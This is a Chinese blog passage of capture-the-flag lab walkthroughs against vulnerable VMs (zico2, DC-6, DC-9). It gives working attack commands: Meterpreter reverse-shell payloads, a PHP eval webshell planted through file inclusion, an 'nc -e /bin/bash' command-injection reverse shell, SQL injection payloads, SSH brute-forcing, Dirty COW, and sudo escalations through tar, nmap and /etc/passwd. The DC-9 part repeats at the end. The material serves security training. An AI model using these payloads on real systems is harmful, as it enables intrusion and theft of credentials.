msfvenom  -p  windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.34 LPORT=4444 -f exe -o /home/xxb1/xb.exe

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WGGMGZrs-1648344144961)(C:/Users/18393/AppData/Roaming/Typora/typora-user-images/image-20220309153034943.png)]

生成的木马用中国蚁剑上传到Windows 7 目标机器

image-20220309153225371

MSF开启监听 然后用蚁剑运行xb.exe

msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost eth0
run

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XKM7dXfh-1648344144962)(C:/Users/18393/AppData/Roaming/Typora/typora-user-images/image-20220309153949947.png)]

蚁剑的运行

kali进行查看

image-20220309154256689

通达OA 是系统权限,所以省去提权

image-20220309153540909

由于我们的权限较高,而且是64位的木马,所以这里我们可以不迁移进程。

3.3 *联动CS上线(可选):

cs设置监听器 端口不要和msf一样

payload选择 windows/meterpreter/reverse_http

msf操作:

use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set session 1  # 这里为msf的session
set lhost eth0
set lport 4445
set disablepayloadhandler 1
run

第5次 zico2

1.信息收集

1.1 主机发现

netdiscover -r 192.168.81.0/24

image-20220315144404186

1.2 端口扫描

masscan --rate=1000 -p 0-65535 192.168.81.142

发现4个端口

22
80
111
53311

image-20220315145631266

1.3 端口服务识别

nmap -sV -T4 -O 192.168.81.142 -p 22,80,111,53311

image-20220315150825598

1.4 御剑扫描

192.168.81.142

得到一个网址

http://192.168.81.142/index.html

image-20220315151255042

2.漏洞探测

2.1 网页探测

http://192.168.81.142/#portfolio

image-20220315152726382

下面这个网址可能存在文件包含漏洞

http://192.168.81.142/view.php?page=tools.html

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dKiRHva1-1648344144970)(https://gitee.com/xxb667/img/raw/master/img/image-20220315152825819.png)]

测试文件是否存在文件包含漏洞

http://192.168.81.142/view.php?page=../../../../../../../../../../../../etc/passwd

image-20220315153009295

2.2 目录扫描

dirb http://192.168.81.142

image-20220315153349298

image-20220315153412085

得到的网址

http://192.168.81.142/dbadmin/
http://192.168.81.142/img/
http://192.168.81.142/vendor/

经过测试发现

http://192.168.81.142/dbadmin/

这个网址中有一个.php文件

image-20220315154211595

点进去后有个密码登录

http://192.168.81.142/dbadmin/test_db.php

image-20220315154309212

暴力破解密码

得到密码

admin

得到两个账户的密码

用户名:root  密码:34kroot34
用户名:zico  密码:zico2215@

image-20220315155428444

2.3 漏洞利用

phpLiteAdmin getshell

kali本地搜索相关漏洞信息

searchsploit phpLiteAdmin

image-20220315161217756

cat /usr/share/exploitdb/exploits/php/webapps/24044.txt

打开文件可以看到我们需要3步

image-20220315161425031

(1) 创建一个数据库 hack.php

image-20220315161811231

(2) 创建一个test表

image-20220315161958212

(3) 写入phpinfo 看下是否利用成功

image-20220315162223937

创建成功

image-20220315162247240

3.getshell

3.1 文件包含漏洞getshell

文件路径

/usr/databases/hack.php

文件包含

http://192.168.81.142/view.php?page=../../../usr/databases/hack.php

image-20220315162606721

思路:包含一个php 一句话木马,getshell。

phpinfo()修改为

<?php @eval($_POST[123]);?>

然后再文件包含

image-20220315162744367

3.2 中国蚁剑连接

http://192.168.81.142/view.php?page=../../../usr/databases/hack.php

密码为:

123

image-20220315162852260

whoami

image-20220315162948905

4.提取

内核较老,尝试利用脏牛

4.1 木马文件生成

MSF生成木马,并开启监听

msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.81.131 lport=4444 -f elf  >4444.elf

image-20220315163654414

image-20220315164444386

chmod +x 4444.elf
./4444.elf

image-20220315170016973

kali设置监听

msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.81.131
set LPORT 4444
exploit

设置完后,在蚁剑上允许我们上传的payload文件

也就是4444.elf文件

image-20220316091348767

获取shell

shell

image-20220316091549416

获取shell后,切换python终端

python -c 'import pty;pty.spawn("/bin/bash")'

image-20220316091749697

4.2-1 返回到根目录

则输入下面的命令

cd /

image-20220316094311219

切换到下面路径

cd /home/zico/wordpress
ls

image-20220316094431238

打开wp-config.php文件

cat wp-config.php

得到了账户和密码

账户:zico
密码:sWfCsfJSPV9H3AmQzw8

image-20220316094621499

4.3 ssh登录

在kali终端进行登录

ssh zico@192.168.81.142
密码为:sWfCsfJSPV9H3AmQzw8

image-20220316094940334

发现用户具备sudo权限

sudo -l

image-20220316095104548

使用tar提权,获得root权限,获得flag文件

sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

image-20220316095317819

查找flag.txt文件

find / -name flag.txt
/root/flag.txt

image-20220316095830631

打开flag.txt文件

cat /root/flag.txt

image-20220316100027997

4.2-2 把payload上传到目标机器

下载dirty.c文件

https://github.com/FireFart/dirtycow/archive/refs/heads/master.zip

然后把文件复制到kali里面

开启临时服务器

  • 将40838.c文件复制到当前目录下
  • 并且利用 python2 -m SimpleHTTPServer 1234
  • 开启临时的建议服务器

image-20220316101312065

在刚才ssh登录的tiago用户的/tmp目录下下载40847.cpp文件:

wget http://192.168.81.131:1234/dirty.c
#ip地址改为自己的kali的IP

image-20220316103005510

编译

gcc -pthread dirty.c -o dcow -lcrypt
  • 而gcc手册里则指出应该在编译和链接时都增加 -pthread 选项
  • -lcrypt返回一个指向以NULL结尾的密码字符串
./dcow     #运行木马
1234567  #输入新密码
su -     #切换root用户
cd /root
cat flag.txt

image-20220316103203844

image-20220316103329449

image-20220316103432693

第6次 DC-6

1.信息收集

1.1 主机发现

netdiscover

目标IP地址为:

192.168.81.143

image-20220317105440134

1.2 端口扫描

masscan --rate=1000 -p 0-65535 192.168.81.143

可以看到2个端口是开放的

22
80

image-20220317110737231

1.3 端口服务识别

nmap -sV -T4 -O 192.168.81.143 -p 22,80

image-20220317111025359

1.4 御剑扫描

192.168.81.143

得到3个网址信息

http://192.168.81.143/wp-includes/
http://192.168.81.143/readme.html
http://192.168.81.143/license.txt

image-20220317110217329

绑定hosts文件

vim /etc/hosts

添加下列网址

192.168.81.143 wordy

image-20220317133009630

1.5 目录扫描

dirb http://wordy/

并未扫到实质性的内容

image-20220317133803059

2.漏洞探测

2.1 枚举用户

wpscan --url http://wordy -e

枚举出的用户名

admin
mark
graham
sarah
jens

image-20220317134340910

image-20220317134353065

然后新建一个users.txt文件在下面地址

vim /usr/share/wordlists/users.txt

把刚才生成的用户名添加到里面

image-20220317142325564

2.2 生成密码

根据官网提示生成密码文件

cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt

img

image-20220317135713143

若发现未找到文件

进入目录找到,发现文件未解压

对文件进行解压

gunzip rockyou.txt.gz

image-20220317135406826

2.3 暴力破解

wpscan --url http://wordy/ -U users.txt -P passwords.txt

image-20220317142230402

得到的用户名和密码

用户名:mark
密码:helpdesk01

3.getshell

3.1 登录wordpress

登录wordpress发现只是普通用户 不能上传文件getshell

插件getshell

http://wordy/wp-login.php

image-20220317142920174

image-20220317142959415

3.2 getshell

kali本地搜索:

searchsploit activity monitor

image-20220317143242186

找到50110.py文件

locate 50110.py
python3 /usr/share/exploitdb/exploits/php/webapps/50110.py

输入IP 和用户名 密码 就可以getshell

IP:192.168.81.143 (就是靶机的ip)
用户名:mark
密码:helpdesk01

image-20220317144402511

4.提权

4.1 远程连接

查看内核版本

lsb_release -a
uname -a

image-20220317144552596

打算漏洞提权 但是执行命令会话直接断开

切换另外一种办法:

这个插件存在命令执行漏洞

抓包在输入IP 的地方加上

| ls -al

可以看到命令已经成功执行。

127.0.0.1|ls

image-20220317150233564

image-20220317150359263

看看可不可以直接使用nc -e获得远程shell

  • 因为输入限制
  • 我们通过F12
  • 直接将我们想要输入的命令输入到html界面中
  • 提交获得shell。

image-20220317150751398

google.fr|nc -e /bin/bash 192.168.81.131 5555

然后kali进行监听

nc -lvnp 5555

image-20220317150917789

4.2 找到新用户的账户密码

获取shell后,切换python终端

python -c 'import pty;pty.spawn("/bin/bash")'

image-20220317153727719

切换到home目录

cd /home

在下面路径中看到了另一个用户的密码

 /home/mark/stuff/things-to-do.txt

账户密码为:

账户:graham
密码:GSo7isUM1D4

image-20220317151618568

切换用户:

su graham

输入密码:

GSo7isUM1D4

image-20220317153850779

查看当前用户及其权限

whoami
sudo -l  #列出目前的权限

image-20220317153939710

发现可以以 jens 用户的权限操作 /home/jens 目录下的 backups.sh 文件

backups.sh的内容为:

#!/bin/bash
tar -czf backups.tar.gz /var/www/html

image-20220317154048181

在 backups.sh 文件末尾添加 /bin/bash ,当执行 backups.sh 文件时可切换至 jens 用户

echo "/bin/bash" >>/home/jens/backups.sh

切换文件夹到jens目录下

cd /home/jens

再实现下面命令

sudo -u jens ./backups.sh   #sudo -u指定用户执行命令

image-20220317154512406

查看权限目录权限,可以不用密码以root权限执行/usr/bin/nmap这个文件

sudo -l

image-20220317154631988

nmap 可以执行脚本文件,可以创建一个文件并写入反弹 shell 的命令,默认用root 权限执行,所以反弹的 shell 也是 root

echo 'os.execute("/bin/bash")' >aaa.nse
sudo -u root nmap --script=aaa.nse   #以root用户执行 nmap 

image-20220317154750535

5.获取flag

cd /root
cat theflag.txt

image-20220317154847324

第7次 DC-9

1.信息收集

1.1 主机发现

netdiscover

主机IP地址为:

192.168.81.145

image-20220322141953434

1.2 端口扫描

masscan --rate=1000 -p 0-65535 192.168.81.145

经扫描发现只有1个端口是打开的

80

image-20220322143326442

1.3 端口服务识别

nmap -sV -T4 -O 192.168.81.145 -p 80

image-20220322143618291

1.4 御剑扫描

192.168.81.145

得到以下网址

http://192.168.81.145/includes/
http://192.168.81.145/search.php
http://192.168.81.145/index.php
http://192.168.81.145/config.php
http://192.168.81.145/manage.php

image-20220322142611513

在index网页中,发现了上述所有网址的各种操作

http://192.168.81.145/index.php

在这个网址中我们可以进行

  • 显示记录
  • 搜索信息
  • 登录

image-20220322143929215

信息显示

http://192.168.81.145/display.php

image-20220322144119740

搜索信息

http://192.168.81.145/search.php

image-20220322144227583

例如:

搜索:Mary

搜索成功后跳转到

http://192.168.81.145/results.php

image-20220322144335567

manage界面

http://192.168.81.145/manage.php

image-20220322144428594

2.漏洞探测

2.1 SQL注入

在搜索框里,我们可以进行sql注入判断是否有sql注入漏洞

Mary' and 1=1#

数据正常显示,说明存在sql注入漏洞

image-20220322145110773

2.2 sqlmap获得数据库

获得post文件

  • 用burp对网站数据进行抓包
  • 获得post文件
  • 并把文件中的内容复制,粘贴到一个txt文件里面
  • 然后把这个文件复制到kali中
  • 并在文件的路径下打开终端运行sqlmap

burp抓包

image-20220322145409971

抓取到的内容

注意:

抓包时一定要抓出现结果的那个地址

POST /results.php HTTP/1.1
Host: 192.168.81.145
Content-Length: 63
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.81.145
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36 Edg/99.0.1150.46
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.81.145/search.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: PHPSESSID=eaprmj9t8g7uuc8240bpe0h02q
dnt: 1
sec-gpc: 1
Connection: close

search=-1%27+union+select+database%28%29%2C1%2C2%2C3%2C4%2C5%23

保存的文件名为:DC-9.txt

然后把文件上传到kali里面

获得近来数据库用户

sqlmap -r DC-9.txt --current-user --batch --smart --dump

未能得到结果

得到一个账户和密码

账户:admin
密码:856f5de590ef37314e7c3bdf6f8a66dc (transorbital1)

image-20220322160545082

sqlmap -r DC-9.txt --data "search=1" --dbs

得到3个数据库

[*] information_schema
[*] Staff
[*] users

image-20220322161111069

查看users数据库

sqlmap -r DC-9.txt --data "search=1" -D users --tables

得到的表格为:

UserDetails

image-20220322161610008

sqlmap -r DC-9.txt --data "search=1" -D users -T UserDetails --batch --smart --dump

得到表格数据如下:

 id | username  | lastname   | reg_date            | password      | firstname |
+----+-----------+------------+---------------------+---------------+-----------+
| 1  | marym     | Moe        | 2019-12-29 16:58:26 | 3kfs86sfd     | Mary      |
| 2  | julied    | Dooley     | 2019-12-29 16:58:26 | 468sfdfsd2    | Julie     |
| 3  | fredf     | Flintstone | 2019-12-29 16:58:26 | 4sfd87sfd1    | Fred      |
| 4  | barneyr   | Rubble     | 2019-12-29 16:58:26 | RocksOff      | Barney    |
| 5  | tomc      | Cat        | 2019-12-29 16:58:26 | TC&TheBoyz    | Tom       |
| 6  | jerrym    | Mouse      | 2019-12-29 16:58:26 | B8m#48sd      | Jerry     |
| 7  | wilmaf    | Flintstone | 2019-12-29 16:58:26 | Pebbles       | Wilma     |
| 8  | bettyr    | Rubble     | 2019-12-29 16:58:26 | BamBam01      | Betty     |
| 9  | chandlerb | Bing       | 2019-12-29 16:58:26 | UrAG0D!       | Chandler  |
| 10 | joeyt     | Tribbiani  | 2019-12-29 16:58:26 | Passw0rd      | Joey      |
| 11 | rachelg   | Green      | 2019-12-29 16:58:26 | yN72#dsd      | Rachel    |
| 12 | rossg     | Geller     | 2019-12-29 16:58:26 | ILoveRachel   | Ross      |
| 13 | monicag   | Geller     | 2019-12-29 16:58:26 | 3248dsds7s    | Monica    |
| 14 | phoebeb   | Buffay     | 2019-12-29 16:58:26 | smellycats    | Phoebe    |
| 15 | scoots    | McScoots   | 2019-12-29 16:58:26 | YR3BVxxxw87   | Scooter   |
| 16 | janitor   | Trump      | 2019-12-29 16:58:26 | Ilovepeepee   | Donald    |
| 17 | janitor2  | Morrison   | 2019-12-29 16:58:28 | Hawaii-Five-0 | Scott     

image-20220322165842531

保存的文件路径

table 'users.UserDetails' dumped to CSV file '/root/.local/share/sqlmap/output/192.168.81.145/dump/users/UserDetails.csv'
cd /root/.local/share/sqlmap/output/192.168.81.145/dump/users/

把文件复制到xxb1目录下,再把文件拷贝到物理机上

cp UserDetails.csv /home/xxb1

2.3 判断字段数

Mary' order by 6#

正常显示说明字段数为6

image-20220322151725634

2.4 爆库

-1' union select database(),1,2,3,4,5#
-1' union select 1,2,3,database(),4,5#

得到数据库名称为:

Staff

image-20220322151902818

2.5 爆表

查看staff中的所有表

-1' union select group_concat(table_name),1,2,3,4,5 from information_schema.tables where table_schema='Staff'#
-1' union select 1,2,3,group_concat(table_name),4,5 from information_schema.tables where table_schema='Staff'#

得到两个表

StaffDetails
Users

image-20220322152503035

查看users表中所有的列

-1' union select 1,2,3,group_concat(column_name),4,5 from information_schema.columns where table_name='Users'#

得到3列

UserID
Username
Password

image-20220322153531549

查看表中user,password

-1' union select 1,2,3,4,group_concat(Username),group_concat(Password) from Users#
-1' union select 1,2,3,group_concat(Username),group_concat(Password),5 from Users#

用户名如下:

账户: admin
密码: 856f5de590ef37314e7c3bdf6f8a66dc

image-20220322153746617

2.6 MD5解码

856f5de590ef37314e7c3bdf6f8a66dc

得到的明文密码为:

transorbital1

image-20220322154343466

2.7 登录

用账户密码登录之后

发现有一句话,可能存在文件包含漏洞,猜测文件参数为:file

File does not exist

image-20220322161941348

http://192.168.81.145/welcome.php/?file=../../../../../../etc/passwd

image-20220322162323635

果然存在LFI漏洞

访问下knockd配置文件

http://192.168.81.145/welcome.php/?file=../../../../../../etc/knockd.conf

里面的内容

[options] UseSyslog [openSSH] sequence = 7469,8475,9842 seq_timeout = 25 command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn [closeSSH] sequence = 9842,8475,7469 seq_timeout = 25 command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn

翻译

[options] 
		UseSyslog 			
[openSSH] 	
		sequence = 7469,8475,9842   # 打开ssh 22访问的三个操作端口 ;
		seq_timeout = 25 
		command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT  # //-i 命令是将规则插入到最前面,最先生效,以防止过滤所有端口的情况将此条规则吃掉
		tcpflags = syn 
			
[closeSSH] 
		sequence = 9842,8475,7469  	# 关闭ssh 22访问的三个操作端口
		seq_timeout = 25 
		command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT # //SSH使用完后,再将22端口“保护”起来
		tcpflags = syn 
###################################################################################################################
解释:

Options:你可以在此字段中找到knockd的配置选项。正如你在上面屏幕截图中所看到,它使用syslog进行日志记录。

OpenSSH:该字段包括序列、序列超时、命令和tcp标志。

Sequence:它显示可由客户软件用作启动操作的模式的端口序列(打开ssh 或者关闭ssh,,关闭操作的端口序列跟 打开操作的序列相反。)。

Sequence timeout:它显示分配给客户端以完成所需的端口试探序列的总时间。

command:这是一旦客户软件的试探序列与序列字段中的模式,执行的命令。 TCP_FLAGS:这是必须针对客户软件发出的试探设置的标志。如果标志不正确,但试探模式正确,不会触发动作。

依次访问 打开操作的端口序列 7469、8475、9842 完成“敲门”操作,就可以用ssh登录了
###################################################################################################################

image-20220322162751789

2.8 敲开22端口

根据上面获得的信息我们可以敲开22端口

可以使用以下三条命令挨个敲击端口
sudo nmap -p 7469 192.168.81.145
sudo nmap -p 8475 192.168.81.145
sudo nmap -p 9842 192.168.81.145

image-20220322163852869

image-20220322163901302

经实验还是knock好用一下就敲开了

第一次使用会提示安装,直接输入 y就行

knock 192.168.81.145 7469 8475 9842

image-20220322165148753

查看22端口是否开放

nmap -p 22 192.168.81.145

已经敲开

image-20220322165009989

3.getshell

3.1 hydra爆破SSH账户

我们用刚才获得的.csv文件中的账户和密码

分别保存到一个txt文件里面,

分别为:

username.txt

marym
julied
fredf
barneyr
tomc
jerrym
wilmaf
bettyr
chandlerb
joeyt
rachelg
rossg
monicag
phoebeb
scoots
janitor
janitor2

password.txt

3kfs86sfd
468sfdfsd2
4sfd87sfd1
RocksOff
TC&TheBoyz
B8m#48sd
Pebbles
BamBam01
UrAG0D!
Passw0rd
yN72#dsd
ILoveRachel
3248dsds7s
smellycats
YR3BVxxxw87
Ilovepeepee
Hawaii-Five-0
hydra -L username.txt -P password.txt ssh://192.168.81.145

image-20220322171144024

爆破出来3个用户可用

login: chandlerb   	password: UrAG0D!
login: joeyt   		password: Passw0rd
login: janitor   	password: Ilovepeepee

3.2 ssh登录

依次对上面的3个用户进行登录

ssh chandlerb@192.168.81.145

image-20220322171430975

ssh joeyt@192.168.81.145

image-20220322172036906

ssh janitor@192.168.81.145

查看隐藏文件

ls -la

查看隐藏的内容

cd .secrets-for-putin
cat passwords-found-on-post-it-notes.txt

文件的内容为:

BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts

image-20220322172529948

把获取的内容信息加入到我们刚才的password.txt文件里面

再爆破一次

hydra -L username.txt -P password.txt ssh://192.168.81.145

发现一个新的用户

login: fredf   
password: B4-Tru3-001

image-20220322173319691

新用户进行ssh登录

ssh fredf@192.168.81.145

image-20220322173505001

4.提权

4.1 查看用户sudo权限

使用fredf用户登录之后

列出sudo 权限的命令

sudo -l

发现fredf可以使用root权限运行文件

image-20220322173701199

cd /opt/devstuff/dist/test

运行test文件时,发现他是一个python文件

image-20220322174217179

查找test.py文件

find / -name test.py 2>/dev/null
2>/dev/null 代表忽略掉错误提示信息

得到的两个路径

/opt/devstuff/test.py
/usr/lib/python3/dist-packages/setuptools/command/test.py

image-20220322174405194

4.2 查看test.py文件

cat /opt/devstuff/test.py

python文件内容

import sys

if len (sys.argv) != 3 :
    print ("Usage: python test.py read append")
    sys.exit (1)

else :
    f = open(sys.argv[1], "r")
    output = (f.read())

    f = open(sys.argv[2], "a")
    f.write(output)
    f.close()

含义

读取参数1的内容,
然后将参数1的内容写入到参数2的内容中。

image-20220322174558468

4.3 构造用户实现提权

根据找到的test.py文件信息

  • 我们可以构造一个root权限用户
  • 将该用户信息写入文件内
  • 将改文件作为参数1
  • /etc/passwd作为参数2
  • 这样就创建了一个root权限用户
  • 就能实现提权了

构造参数1

openssl passwd -1 -salt admin 123456
  • -1 的意思是使用md5加密算法
  • -salt 自动插入一个随机数作为文件内容加密
  • admin 123456 用户名和密码

image-20220322175150021

根据/etc/passwd的格式

  • 修改一下
  • 然后存入一个文件里
  • 这个文件就是参数1
echo 'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash' >> /tmp/passwd
    # 用户名:密码:uid:gid:家目录:登陆后使用的shell
    
sudo ./test /tmp/passwd /etc/passwd    

image-20220322175413343

su admin
cd /root
ls
cat theflag.txt

image-20220322175526580

.168.81.145


[外链图片转存中...(img-4KA62Mnr-1648344145042)]

[外链图片转存中...(img-b4PH9flG-1648344145043)]

经实验还是**knock**好用一下就敲开了

第一次使用会提示安装,直接输入 **y**就行

knock 192.168.81.145 7469 8475 9842


[外链图片转存中...(img-6KDunce6-1648344145044)]

查看22端口是否开放

nmap -p 22 192.168.81.145


已经敲开

[外链图片转存中...(img-VW6r9UCM-1648344145045)]

# 3.getshell

## 3.1 hydra爆破SSH账户

我们用刚才获得的.csv文件中的账户和密码

分别保存到一个txt文件里面,

分别为:

username.txt

marym
julied
fredf
barneyr
tomc
jerrym
wilmaf
bettyr
chandlerb
joeyt
rachelg
rossg
monicag
phoebeb
scoots
janitor
janitor2


password.txt

3kfs86sfd
468sfdfsd2
4sfd87sfd1
RocksOff
TC&TheBoyz
B8m#48sd
Pebbles
BamBam01
UrAG0D!
Passw0rd
yN72#dsd
ILoveRachel
3248dsds7s
smellycats
YR3BVxxxw87
Ilovepeepee
Hawaii-Five-0


hydra -L username.txt -P password.txt ssh://192.168.81.145


[外链图片转存中...(img-AmXZE74L-1648344145046)]

爆破出来3个用户可用

login: chandlerb password: UrAG0D!
login: joeyt password: Passw0rd
login: janitor password: Ilovepeepee


## 3.2 ssh登录

依次对上面的3个用户进行登录

ssh chandlerb@192.168.81.145


[外链图片转存中...(img-WOz8swJO-1648344145046)]

ssh joeyt@192.168.81.145


[外链图片转存中...(img-gpYhOFfv-1648344145047)]

ssh janitor@192.168.81.145


查看隐藏文件

ls -la


[外链图片转存中...(img-Xh3e8WEN-1648344145048)]



查看隐藏的内容

cd .secrets-for-putin
cat passwords-found-on-post-it-notes.txt


文件的内容为:

BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts


[外链图片转存中...(img-ia9uqRwl-1648344145049)]

把获取的内容信息加入到我们刚才的password.txt文件里面

再爆破一次

hydra -L username.txt -P password.txt ssh://192.168.81.145


发现一个新的用户

login: fredf
password: B4-Tru3-001


[外链图片转存中...(img-8p6HgKkn-1648344145049)]

新用户进行ssh登录

ssh fredf@192.168.81.145


[外链图片转存中...(img-txjW0ih4-1648344145052)]

# 4.提权

## 4.1 查看用户sudo权限

使用**fredf**用户登录之后

列出sudo 权限的命令

sudo -l


发现**fredf**可以使用root权限运行文件

[外链图片转存中...(img-tmaEbiuq-1648344145052)]

cd /opt/devstuff/dist/test


运行test文件时,发现他是一个python文件

[外链图片转存中...(img-n961LvxA-1648344145053)]

查找test.py文件

find / -name test.py 2>/dev/null


```bash
2>/dev/null 代表忽略掉错误提示信息

得到的两个路径

/opt/devstuff/test.py
/usr/lib/python3/dist-packages/setuptools/command/test.py

[外链图片转存中…(img-RUkRLfJZ-1648344145054)]

4.2 查看test.py文件

cat /opt/devstuff/test.py

python文件内容

import sys

if len (sys.argv) != 3 :
    print ("Usage: python test.py read append")
    sys.exit (1)

else :
    f = open(sys.argv[1], "r")
    output = (f.read())

    f = open(sys.argv[2], "a")
    f.write(output)
    f.close()

含义

读取参数1的内容,
然后将参数1的内容写入到参数2的内容中。

[外链图片转存中…(img-yDqz55hl-1648344145054)]

4.3 构造用户实现提权

根据找到的test.py文件信息

  • 我们可以构造一个root权限用户
  • 将该用户信息写入文件内
  • 将改文件作为参数1
  • /etc/passwd作为参数2
  • 这样就创建了一个root权限用户
  • 就能实现提权了

构造参数1

openssl passwd -1 -salt admin 123456
  • -1 的意思是使用md5加密算法
  • -salt 自动插入一个随机数作为文件内容加密
  • admin 123456 用户名和密码

[外链图片转存中…(img-YScpQ4Pj-1648344145055)]

根据/etc/passwd的格式

  • 修改一下
  • 然后存入一个文件里
  • 这个文件就是参数1
echo 'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash' >> /tmp/passwd
    # 用户名:密码:uid:gid:家目录:登陆后使用的shell
    
sudo ./test /tmp/passwd /etc/passwd    

[外链图片转存中…(img-R9xZMRHY-1648344145056)]

su admin
cd /root
ls
cat theflag.txt

[外链图片转存中…(img-MzuDKPXA-1648344145057)]

  • 0
    点赞
  • 6
    收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
©️2022 CSDN 皮肤主题:1024 设计师:我叫白小胖 返回首页
评论

打赏作者

小小西贝

你的鼓励将是我创作的最大动力

¥2 ¥4 ¥6 ¥10 ¥20
输入1-500的整数
余额支付 (余额:-- )
扫码支付
扫码支付:¥2
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、C币套餐、付费专栏及课程。

余额充值